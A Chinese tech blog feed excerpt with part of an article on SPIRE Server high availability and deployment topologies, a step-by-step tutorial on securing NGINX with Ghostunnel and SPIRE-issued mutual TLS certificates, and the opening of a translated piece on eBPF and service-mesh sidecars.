&lt;p&gt;SPIRE Server 可以用水平扩展的方式支持大量的 Agent 和工作负载。多个 Server 的情况下，运算任务会分布到多个 SPIRE Server 实例之中。除了算力增加，多实例部署也避免了单点失败的风险。&lt;/p&gt;

&lt;h2 id=&#34;高可用模式的-spire-server&#34;&gt;高可用模式的 SPIRE Server&lt;/h2&gt;

&lt;p&gt;&lt;img src=&#34;images/ha_mode.png&#34; alt=&#34;HA&#34; /&gt;&lt;/p&gt;

&lt;p&gt;要用水平扩展的方式来实现高可用和分布式计算，只需要让所有服务器共享同一个信任域和数据存储就可以了。&lt;/p&gt;

&lt;p&gt;SPIRE Server 会把注册项和身份映射策略等动态配置信息进行持久化，缺省情况下会使用内置的 SQLite，同时可以使用多种 SQL 数据库进行存储，还可以通过插件将数据保存在 Kubernetes 的 CRD 之中。所以要对 SPIRE Server 进行水平扩展之前，就要选择满足需求的数据存储方式。这方面的内容可以参考数据存储插件文档。&lt;/p&gt;

&lt;p&gt;高可用模式里，每个服务器都管理着自己的 CA，这个 CA 可能是自签发，也可能是一个共享的上游根 CA 所签发的中间证书。&lt;/p&gt;

&lt;h2 id=&#34;选择-spire-部署拓扑&#34;&gt;选择 SPIRE 部署拓扑&lt;/h2&gt;

&lt;p&gt;SPIRE 有三种部署拓扑：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;单信任域&lt;/li&gt;
&lt;li&gt;嵌套 SPIRE&lt;/li&gt;
&lt;li&gt;SPIRE 联邦&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;管理域边界、工作负载数量、高可用需求、供应商数量以及认证需求都是部署方案的决策输入项。&lt;/p&gt;

&lt;h3 id=&#34;单信任域&#34;&gt;单信任域&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/single_trust_domain.png&#34; alt=&#34;Single&#34; /&gt;&lt;/p&gt;

&lt;p&gt;单信任域拓扑适用于独立环境或者一个管理域内的多个环境共享。单信任域的最大好处就是从单一 CA 中签发身份证书，能有效降低 SPIRE Server 的部署管理的复杂度。&lt;/p&gt;

&lt;p&gt;然而要跨越 Region、平台或者供应商的话，单信任域就面临容灾、分布等需求的挑战了。这种情况下，嵌套部署就比较有优势了。&lt;/p&gt;

&lt;h3 id=&#34;嵌套-spire&#34;&gt;嵌套 SPIRE&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/nested_spire.png&#34; alt=&#34;nested&#34; /&gt;&lt;/p&gt;

&lt;p&gt;SPIRE 的嵌套部署呈现了一种链式结构，虽然是多个 Server，但是签发的是同一个信任域的身份，这样所有工作负载的身份都处在同一个信任域里，能够用该信任域的根密钥进行校验。&lt;/p&gt;

&lt;p&gt;嵌套拓扑中，下游 SPIRE Server 和上游的 SPIRE Agent 共同部署。下游 SPIRE Server 通过使用 Workload API 获取凭据，这些凭据会用于和上游 SPIRE Server 进行通信获取中间 CA。&lt;/p&gt;

&lt;p&gt;一种便于理解嵌套拓扑的思路：上游 SPIRE 服务器是一个（或者是一组高可用部署的）全局服务器，下游 Server 是 Region 或者集群级的。&lt;/p&gt;

&lt;p&gt;在这种情况下，顶层 SPIRE Server 掌管着根证书/密钥，下游服务器会向上层请求中间证书，用于下游 CA。这样即使是顶层服务宕机，中间服务器还能继续运作，一定程度上提高了可用性。&lt;/p&gt;

&lt;p&gt;嵌套逻辑也能用于多云环境。对 Node Attestor 进行匹配之后，下游服务器能够为不同的云供应商环境中的工作负载和 Agent 提供证明。&lt;/p&gt;

&lt;p&gt;水平扩展 SPIRE Server，达到高可用和负载均衡的目的，作为互补，嵌套拓扑可以作为一种遏制策略来对故障域进行分割。&lt;/p&gt;

&lt;h3 id=&#34;spire-联邦&#34;&gt;SPIRE 联邦&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/federated_spire.png&#34; alt=&#34;federation&#34; /&gt;&lt;/p&gt;

&lt;p&gt;有时会需要多个信任根共存：有的组织会有不同的分隔和不同的管理，或者多个环境之间偶尔进行通信。&lt;/p&gt;

&lt;p&gt;还有一种用例就是在组织之间（例如云供应商和客户之间）进行 SPIFFE 的互操作。&lt;/p&gt;

&lt;p&gt;这种多信任域和互操作需要良好定义的互操作方法，让一个信任域的工作负载能够认证另一个信任域的工作负载。互信的技术细节可以参考 &lt;a href=&#34;https://github.com/spiffe/spiffe/blob/main/standards/SPIFFE_Trust_Domain_and_Bundle.md#5-spiffe-bundle-endpoint，具体操作可以阅读&#34; target=&#34;_blank&#34;&gt;https://github.com/spiffe/spiffe/blob/main/standards/SPIFFE_Trust_Domain_and_Bundle.md#5-spiffe-bundle-endpoint，具体操作可以阅读&lt;/a&gt; &lt;a href=&#34;https://github.com/spiffe/spire-tutorials/tree/main/docker-compose/federation&#34; target=&#34;_blank&#34;&gt;https://github.com/spiffe/spire-tutorials/tree/main/docker-compose/federation&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;和外部系统的互动&#34;&gt;和外部系统的互动&lt;/h2&gt;

&lt;h3 id=&#34;spiffe-兼容系统&#34;&gt;SPIFFE 兼容系统&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/spiffe_compatible.png&#34; alt=&#34;兼容系统&#34; /&gt;&lt;/p&gt;

&lt;p&gt;SPIFFE 身份能够和其它提供了 SPIFFE 联邦接口的系统对接，在联邦中进行安全的认证和通信。和 SPIRE 联邦类似，可以在 SPIFFE 兼容的系统之间（例如 Istio 和 SPIRE，或者两个 Istio 之间）建立联邦。&lt;/p&gt;

&lt;p&gt;例如目前的 Istio 中所有的应用都在同一个信任域里，或者说是共享一个信任根。可能存在多个服务网格，或者服务网格中的应用需要和外部的服务进行受保护的通信。联邦 SPIFFE 就可以用来够完成网格之间或者网格内外的互信关系。&lt;/p&gt;

&lt;h3 id=&#34;oidc-provider&#34;&gt;OIDC-Provider&lt;/h3&gt;

&lt;p&gt;&lt;img src=&#34;images/oidc_federation.png&#34; alt=&#34;oidc&#34; /&gt;&lt;/p&gt;

&lt;p&gt;针对公有云之类的 OIDC 兼容的提供商，SPIRE 能够代表通过认证的工作负载和远端系统进行可编程的认证。例如在 AWS 上，SPIRE 认证的工作负载能够和 AWS S3、RDS 或者 AWS CodePipeline 进行通信。&lt;/p&gt;

&lt;p&gt;SPIR OIDC Discovery Provider 用 ACME 协议获取 Web PKI 证书，这个证书用于一个端点的安全，这个端点会提供 OIDC 兼容的 JWKS 包以及标准的 OIDC 发现文档。远程 OIDC 认证服务进行配置之后，能够定位到这一端点，并对 WebPKI 服务进行验证。配置生效后，远端系统的 IAM 策略和角色可以和 SPIFFE ID 进行映射。工作负载可以使用 JWT-SVID 访问 OIDC 认证的系统。被访问系统从预定义的 OIDC 发现服务 URI 中获取 JWKS，如果 JWT-SVID 中包含的 SPIFEE ID 是被允许访问该资源的，就放行。这样一来，工作负载就能访问外部远程服务，无需额外处理认证问题了。&lt;/p&gt;

&lt;p&gt;OIDC 发现服务配置：&lt;a href=&#34;https://github.com/spiffe/spire/tree/main/support/oidc-discovery-provider&#34; target=&#34;_blank&#34;&gt;https://github.com/spiffe/spire/tree/main/support/oidc-discovery-provider&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;AWS OIDC 联邦指南：&lt;a href=&#34;https://spiffe.io/spire/try/oidc-federation-aws/&#34; target=&#34;_blank&#34;&gt;https://spiffe.io/spire/try/oidc-federation-aws/&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;部署规模评估&#34;&gt;部署规模评估&lt;/h2&gt;

&lt;p&gt;在评估 SPIRE 部署规模时，需要考虑如下因素：&lt;/p&gt;

&lt;p&gt;SVID 和根证书的 TTL&lt;/p&gt;

&lt;p&gt;每节点的工作负载数量&lt;/p&gt;

&lt;p&gt;JWT-SVID 的用量（JWT 必须按需签署，不像 x509 是预生成的）&lt;/p&gt;

&lt;p&gt;注册项的变更频率&lt;/p&gt;

&lt;p&gt;SPIRE 服务所在节点上的其它进程&lt;/p&gt;

&lt;p&gt;底层基础设施环境的形态和容量&lt;/p&gt;

&lt;p&gt;数据存储的设计规划非常重要。上表没有提到数据存储问题，但它会对 SPIRE 性能造成潜在限制。每次 Agent（每 5 秒钟）的认证同步，都是一个昂贵的操作，数据存储可能成为性能瓶颈。嵌套拓扑中每个 SPIRE 服务器都存储自己的数据，因此可以降低这种成本。&lt;/p&gt;

&lt;p&gt;下表尝试呈现一个 SPIRE 的规格指导。数据来自于一个测试环境，所以无法对任何用户的实际环境提供保障，只能在数量级上给出一个参考。网络带宽和数据性能没有包含在内。另外工作负载和 Agent 数量也不代表 SPIRE 规模的理论上限。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Number of Workloads&lt;/th&gt;
&lt;th&gt;10 Agents&lt;/th&gt;
&lt;th&gt;100 Agents&lt;/th&gt;
&lt;th&gt;1000 Agents&lt;/th&gt;
&lt;th&gt;5000 Agents&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10 Workloads&lt;/td&gt;
&lt;td&gt;2 Server Units with 1 CPU core, 1GB RAM&lt;/td&gt;
&lt;td&gt;2 Server Units with 2 CPU cores, 2GB RAM&lt;/td&gt;
&lt;td&gt;2 Server Units with 4 CPU cores, 4GB RAM&lt;/td&gt;
&lt;td&gt;2 Server Units with 8 CPU cores, 8 GB RAM&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;100 Workloads&lt;/td&gt;
&lt;td&gt;2 Server Units with 2 CPU cores, 2GB RAM&lt;/td&gt;
&lt;td&gt;2 Server Units with 2 CPU cores, 2GB RAM&lt;/td&gt;
&lt;td&gt;2 Server Units with 8 CPU cores, 8 GB RAM&lt;/td&gt;
&lt;td&gt;2 Server Units with 16 CPU cores, 16 GB RAM&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;1,000 Workloads&lt;/td&gt;
&lt;td&gt;2 Server units with 16 CPU Cores, and 8GB RAM&lt;/td&gt;
&lt;td&gt;2 Server units with 16 CPU Cores, and 8GB RAM&lt;/td&gt;
&lt;td&gt;2 Server units with 16 CPU Cores, and 8GB RAM&lt;/td&gt;
&lt;td&gt;4 Server units with 16 CPU Cores, and 8GB RAM&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;10,000 Workloads&lt;/td&gt;
&lt;td&gt;4 Server units with 16 CPU Cores each, and 16 GB RAM&lt;/td&gt;
&lt;td&gt;4 Server units with 16 CPU Cores each, and 16 GB RAM&lt;/td&gt;
&lt;td&gt;4 Server units with 16 CPU Cores each, and 16 GB RAM&lt;/td&gt;
&lt;td&gt;8 Server units with 16 CPU Cores each, and 16 GB RAM&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</description>
    </item>
    
    <item>
      <title>用 Ghostunnel 和 SPIRE 为 NGINX 提供 SPIFFE 认证</title>
      <link>/post/ghostunnel-spire-101/</link>
      <pubDate>Sat, 22 Oct 2022 21:55:16 +0800</pubDate>
      <guid>/post/ghostunnel-spire-101/</guid>
      <description>

&lt;p&gt;之前对 SPIFFE 和 SPIRE 进行了一个相对全面/啰嗦的介绍，这一篇就反过来，用一个简单的例子来展示 SPIRE 的基本用法，本文中会以 NGINX 作为服务生产方，使用 &lt;a href=&#34;https://github.com/ghostunnel/ghostunnel&#34; target=&#34;_blank&#34;&gt;Ghostunnel&lt;/a&gt; 当做 NGINX 的反向代理，把原有的 HTTP 通信升级为支持定期正顺轮转的双向 TLS 认证协议，并且用 CURL 使用客户端证书来通过 Ghostunnel 安全地访问背后的 NGINX。这里为 CURL 和 NGINX 提供证书以及轮转的，就是 SPIRE 的 Server 和 Agent。&lt;/p&gt;

&lt;p&gt;Ghostunnel 是一个简单的 TLS 代理，能为非 TLS 的后端提供双向认证能力。Ghostunnel 能够以服务端（反向代理）或者客户端（代理）的模式进行工作，类似 stunnel。不同的是，他还支持访问控制、证书轮转、ACME 以及最近总在唠叨的 SPIFFE。&lt;/p&gt;

&lt;p&gt;本文中会演示的过程实际上是 Ghostunnel 的 &lt;a href=&#34;https://github.com/ghostunnel/ghostunnel/tree/master/docs/spiffe-workload-api-demo&#34; target=&#34;_blank&#34;&gt;SPIFFE DEMO&lt;/a&gt; 的一个精简版，会略细致讲述每个步骤涉及的内容。整个过程分为如下一些环节：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;环境准备：准备运行环境，包括 SPIRE Agent/Server 的构建、NGINX 的安装、以及 Ghostunnel 的构建等&lt;/li&gt;
&lt;li&gt;编写 SPIRE Server 配置，并启动&lt;/li&gt;
&lt;li&gt;生成 Ghostunnel 以及 CURL 的 Agent Token，并编写配置文件启动对应的 SPIRE Agent&lt;/li&gt;
&lt;li&gt;启动 Ghostunnel&lt;/li&gt;
&lt;li&gt;获取 CURL 客户端证书并测试连接&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

&lt;p&gt;这里使用的是基于 ARM 的一个 Ubuntu 系统，使用 APT 安装并启动 NGINX。另外后续步骤还需要 GIT 工具以及连接 GITHUB，并使用 GOLANG 构建 SPIRE 以及 Ghostunnel。&lt;/p&gt;

&lt;p&gt;GIT 获取 SPIRE 版本，并进行构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone --single-branch --branch v1.4.0 https://github.com/spiffe/spire.git
Cloning into &#39;spire&#39;...
...
$ cd spire
$ make bin/spire-agent
Installing go1.18.4...
Building bin/spire-agent...
$ make bin/spire-server
Building bin/spire-server...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来获取 Ghostunnel 并进行构建：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ git clone https://github.com/ghostunnel/ghostunnel.git
Cloning into &#39;ghostunnel&#39;...
...
$ make ghostunnel
go build -ldflags &#39;-X main.version=v1.6.1-25-g8ae18ea&#39; -o ghostunnel .
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;构建成功后，把三个新生成的可执行文件拷贝到可见目录备用。&lt;/p&gt;

&lt;p&gt;然后建立测试目录，大致目录结构如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;spire-101

&lt;ul&gt;
&lt;li&gt;certs&lt;/li&gt;
&lt;li&gt;conf&lt;/li&gt;
&lt;li&gt;data&lt;/li&gt;
&lt;li&gt;logs&lt;/li&gt;
&lt;li&gt;socks&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;编写-spire-server-配置并启动服务&#34;&gt;编写 SPIRE Server 配置并启动服务&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;server {
    bind_address = &amp;quot;0.0.0.0&amp;quot;
    bind_port = &amp;quot;8081&amp;quot;
    socket_path = &amp;quot;socks/spire-server.sock&amp;quot;
    trust_domain = &amp;quot;spiffe.dom&amp;quot;
    data_dir = &amp;quot;data/spire-server&amp;quot;
    log_level = &amp;quot;DEBUG&amp;quot;
    ca_ttl = &amp;quot;30m&amp;quot;
    default_svid_ttl = &amp;quot;2m&amp;quot;
    ca_subject = {
        country = [&amp;quot;CN&amp;quot;],
        organization = [&amp;quot;FUNNY&amp;quot;],
        common_name = &amp;quot;&amp;quot;,
    }
}

plugins {
    DataStore &amp;quot;sql&amp;quot; {
        plugin_data {
            database_type = &amp;quot;sqlite3&amp;quot;
            connection_string = &amp;quot;data/spire-server/datastore.sqlite3&amp;quot;
        }
    }

    NodeAttestor &amp;quot;join_token&amp;quot; {
        plugin_data {
        }
    }

    KeyManager &amp;quot;disk&amp;quot; {
        plugin_data {
            keys_path = &amp;quot;data/spire-server/keys.json&amp;quot;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此处配置文件的几个要点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;TCP 监听 &lt;code&gt;0.0.0.0:8081&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;监听 Socket 路径为 &lt;code&gt;socks/spire-server.sock&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;spiffe.dom&lt;/code&gt; 作为信任域&lt;/li&gt;
&lt;li&gt;SVID 的默认寿命为 2 分钟&lt;/li&gt;
&lt;li&gt;使用 SQLite3 作为数据存储引擎，数据库文件保存在 &lt;code&gt;data/spire-server/datastore.sqlite3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在本地存储 Key，路径为 &lt;code&gt;data/spire-server/keys.json&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然后用这个配置文件启动 SPIRE Server：&lt;code&gt;spire-server run -config conf/spire-server.conf &amp;gt; logs/spire-server.log 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&#34;启动-agent&#34;&gt;启动 Agent&lt;/h2&gt;

&lt;p&gt;这个小实验需要用到两个 Agent，分别负责服务端和客户端的身份。在运行 Agent 之前，首先要获取 SPIRE Server 的 Trust Bundle：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-server bundle show \
  -socketPath socks/spire-server.sock &amp;gt; conf/bundle.crt
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上述命令将 Trunst Bundle 保存到文件 &lt;code&gt;conf/bundle.crt&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;服务端 Agent 配置文件如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;agent {
    data_dir = &amp;quot;data/server-side-agent&amp;quot;
    log_level = &amp;quot;DEBUG&amp;quot;
    server_address = &amp;quot;127.0.0.1&amp;quot;
    server_port = &amp;quot;8081&amp;quot;
    socket_path =&amp;quot;socks/server-side-agent.sock&amp;quot;
    trust_bundle_path = &amp;quot;conf/bundle.crt&amp;quot;
    trust_domain = &amp;quot;spiffe.dom&amp;quot;
}

plugins {
    NodeAttestor &amp;quot;join_token&amp;quot; {
        plugin_data {
        }
    }
    KeyManager &amp;quot;disk&amp;quot; {
        plugin_data {
            directory = &amp;quot;data/server-side-agent&amp;quot;
        }
   }
   WorkloadAttestor &amp;quot;unix&amp;quot; {
        plugin_data {
             discover_workload_path = true
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个配置的要点是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;127.0.0.1:8081&lt;/code&gt; 作为 SPIRE Server&lt;/li&gt;
&lt;li&gt;监听 &lt;code&gt;socks/spire-server.sock&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;信任 &lt;code&gt;conf/bundle.crt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Unix Workload Attestor 中开放了选项 &lt;code&gt;discover_workload_path&lt;/code&gt;，从而可以通过二进制文件位置或者哈希识别调用 Agent 的应用的身份&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为这个 Agent 创建一个 Token，用于标识 Agent 的身份：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-server token generate \
    -socketPath socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/server-node
Token: [Token Hash]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面命令生成了一个 Token，其 SPIFFE ID 为  &lt;code&gt;spiffe://spiffe.dom/server-node&lt;/code&gt;。然后启动服务侧 Agent：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-agent run \
    -config conf/client-side-agent.conf \
    -joinToken [Token Hash] &amp;gt; logs/client-side-agent.log 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来启动客户侧的 Agent，配置文件如下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;agent {
    data_dir = &amp;quot;data/client-side-agent&amp;quot;
    log_level = &amp;quot;DEBUG&amp;quot;
    server_address = &amp;quot;127.0.0.1&amp;quot;
    server_port = &amp;quot;8081&amp;quot;
    socket_path =&amp;quot;socks/client-side-agent.sock&amp;quot;
    trust_bundle_path = &amp;quot;conf/bundle.crt&amp;quot;
    trust_domain = &amp;quot;spiffe.dom&amp;quot;
}

plugins {
    NodeAttestor &amp;quot;join_token&amp;quot; {
        plugin_data {
        }
    }
    KeyManager &amp;quot;disk&amp;quot; {
        plugin_data {
            directory = &amp;quot;data/client-side-agent&amp;quot;
        }
   }
   WorkloadAttestor &amp;quot;unix&amp;quot; {
        plugin_data {
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;跟上面的类似，我们也需要创建 Token 之后才能启动 Agent：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-server token generate \
    -socketPath socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/client-node
Token: [Token Hash]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用上述 Token 和 配置文件启动 Agent：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-agent run \
    -config conf/client-side-agent.conf \
    -joinToken &amp;quot;$TOKEN&amp;quot; &amp;gt; logs/client-side-agent.log 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;启动-ghostunnel&#34;&gt;启动 Ghostunnel&lt;/h2&gt;

&lt;p&gt;首先要给 Ghostunnel 一个身份，也就是 Entry：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-server entry create \
    -selector unix:path:/usr/local/bin/ghostunnel \
    -socketPath socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/ghost \
    -parentID spiffe://spiffe.dom/server-node
Entry ID         : fe4b1fd5-9e0a-440b-b08e-5c2c886b6a6e
SPIFFE ID        : spiffe://spiffe.dom/ghost
Parent ID        : spiffe://spiffe.dom/server-node
Revision         : 0
TTL              : default
Selector         : unix:path:/usr/local/bin/ghostunnel
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的命令参数解释如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;selector：类似 Kubernetes 中的 Label Selector，用 Workload 属性来界定身份，这里使用的是二进制路径：&lt;code&gt;unix:path:/usr/local/bin/ghostunnel&lt;/code&gt;，此文件启动之后，可以使用 Workload API 向 Agent 请求 SVID&lt;/li&gt;
&lt;li&gt;socketPath：指定 SPIRE Server 的监听 Socket&lt;/li&gt;
&lt;li&gt;spiffeID：Workload 的 SPIFFE ID&lt;/li&gt;
&lt;li&gt;parentID：Node 的 SPIFFE ID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;创建这个 Entry 之后，SPIRE Server 会据此创建 SVID 下发给 Agent，Agent 只要根据 Selector 判断 Workload 身份，如果符合就可以发放 SVID 了。&lt;/p&gt;

&lt;p&gt;接下来启动 Ghostunnel：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ghostunnel server \
    --use-workload-api-addr unix:///$(pwd)/socks/server-side-agent.sock \
    --listen=0.0.0.0:9099 \
    --target=localhost:80 \
    --allow-uri=spiffe://spiffe.dom/curl
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里使用了一个参数 &lt;code&gt;--use-workload-api-addr&lt;/code&gt;，要求使用 SPIFFE Workload API，对应 Agent Socket 为前面生成的 &lt;code&gt;socks/server-side-agent.sock&lt;/code&gt;。&lt;code&gt;--listen&lt;/code&gt; 和 &lt;code&gt;--target&lt;/code&gt; 分别代表了监听端口和被代理端口（也就是 NGINX）。而 &lt;code&gt;--allow-uri&lt;/code&gt; 参数则是一种访问控制手段，此处是允许 &lt;code&gt;spiffe://spiffe.dom/curl&lt;/code&gt; 的 SPIFFE ID 访问本服务。除了这种死板的方式之外，Ghostunnel 还能对接 OPA 实现更加复杂的符合生产要求的策略管控能力。&lt;/p&gt;

&lt;p&gt;如果此时用浏览器或者 CURL 访问该节点的 9099 端口，就会出现客户端证书不匹配的错误。&lt;/p&gt;

&lt;h2 id=&#34;获取-curl-客户端证书并测试连接&#34;&gt;获取 CURL 客户端证书并测试连接&lt;/h2&gt;

&lt;p&gt;类似的，我们给 CURL 创建一个 SVID：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-server entry create \
    -selector unix:uid:1000 \
    -socketPath socks/spire-server.sock \
    -spiffeID spiffe://spiffe.dom/curl \
    -ttl 600 \
    -parentID spiffe://spiffe.dom/client-node
Entry ID         : 50911ef7-f191-4917-adde-1bf4e6192002
SPIFFE ID        : spiffe://spiffe.dom/curl
Parent ID        : spiffe://spiffe.dom/client-node
Revision         : 0
TTL              : 600
Selector         : unix:uid:1000
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;因为我们用的是 CURL，并不具备直接访问 Workload API 的能力，所以这里用了比较特别的参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Selector 设置为当前用户的 ID，也就是说该用户执行的进程是可以匹配到这个 Entry 从而获取 SVID 的&lt;/li&gt;
&lt;li&gt;设置了 10 分钟的 TTL，满足我们后续手动操作的需要&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然后用 &lt;code&gt;spire-agent api fetch&lt;/code&gt; 的方式获取证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ spire-agent api fetch \
    --socketPath socks/client-side-agent.sock \
    -write certs
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;命令执行后，会在 &lt;code&gt;certs&lt;/code&gt; 发现导出的证书文件，CURL 加上这个证书就能成功访问到 NGINX 了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ curl -kv https://127.0.0.1:9099 \
    --cert certs/svid.0.pem --key certs/svid.0.key
*   Trying 127.0.0.1:9099...
* Connected to 127.0.0.1 (127.0.0.1) port 9099 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* TLSv1.0 (OUT), TLS header, Certificate Status (22):
...
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;然后&#34;&gt;然后&lt;/h2&gt;

&lt;p&gt;如果观察 &lt;code&gt;logs&lt;/code&gt; 目录中的日志，会看到在两个 Agent 的目录中会频频出现 Node 和 Workload 的 SVID 轮转的信息。那么如果 Server 挂了呢？这里就会发现，SPIRE Server 是系统中的一个单点，各个 Node 会因为 SVID 无法更新而异常退出，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-plaintext&#34;&gt;level=error msg=&amp;quot;Agent crashed&amp;quot; error=&amp;quot;current SVID has already expired and rotation failed: failed to dial dns:///127.0.0.1:8081: connection error: desc = \&amp;quot;transport: error while dialing: dial tcp 127.0.0.1:8081: connect: connection refused\&amp;quot;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;因此需要对 SPIRE Server 进行高可用部署。另外这个手工过程中我们也会看到，手工创建 Entry、传播 Bundle 以及获取证书、参数授权等，是不可能适应快速变更的云服务环境的，因此自动注册机制、策略执行机制以及相应的防篡改机制都是 SPIFFE 体系落地的必要条件。&lt;/p&gt;

&lt;p&gt;后续还会根据这些问题进行进一步的尝试。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>eBPF、Sidecar 和服务网格的未来</title>
      <link>/post/ebpf-sidecar-and-furture-sm/</link>
      <pubDate>Thu, 06 Oct 2022 16:57:57 +0800</pubDate>
      <guid>/post/ebpf-sidecar-and-furture-sm/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://buoyant.io/blog/ebpf-sidecars-and-the-future-of-the-service-mesh&#34; target=&#34;_blank&#34;&gt;eBPF, sidecars, and the future of the service mesh&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/wm&#34; target=&#34;_blank&#34;&gt;William Morgan&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;eBPF 给云原生世界带来了很多变化。感谢 Cilium 之类的新技术，eBPF 已经成为了 Kubernetes CNI 的一个流行选择。&lt;a href=&#34;https://linkerd.io/?_gl=1*1sj56b2*_ga*MTQ4MzE1OTk3LjE2NjQ5OTE1NDg.*_ga_TV358ZPK6D*MTY2NTAxODcwNS4yLjEuMTY2NTAxODcwOC4wLjAuMA..#_ga=2.61978796.1857639420.1664991548-148315997.1664991548&#34; target=&#34;_blank&#34;&gt;Linkerd&lt;/a&gt; 这样的服务网格产品也经常会&lt;a href=&#34;https://buoyant.io/2020/12/23/kubernetes-network-policies-with-cilium-and-linkerd/&#34; target=&#34;_blank&#34;&gt;和 Cilium 或类似的 CNI 产品协同工作&lt;/a&gt;，从而同时在 7 层和 &lt;sup&gt;3&lt;/sup&gt;&amp;frasl;&lt;sub&gt;4&lt;/sub&gt; 层分别得到 Linkderd 和 Cilium 的强大处理能力。但是 eBPF 的网络技术到底多强大？会强大到——例如替换 Linkerd 的 Sidecar Proxy，从而能在内核里完成所有操作吗？&lt;/p&gt;

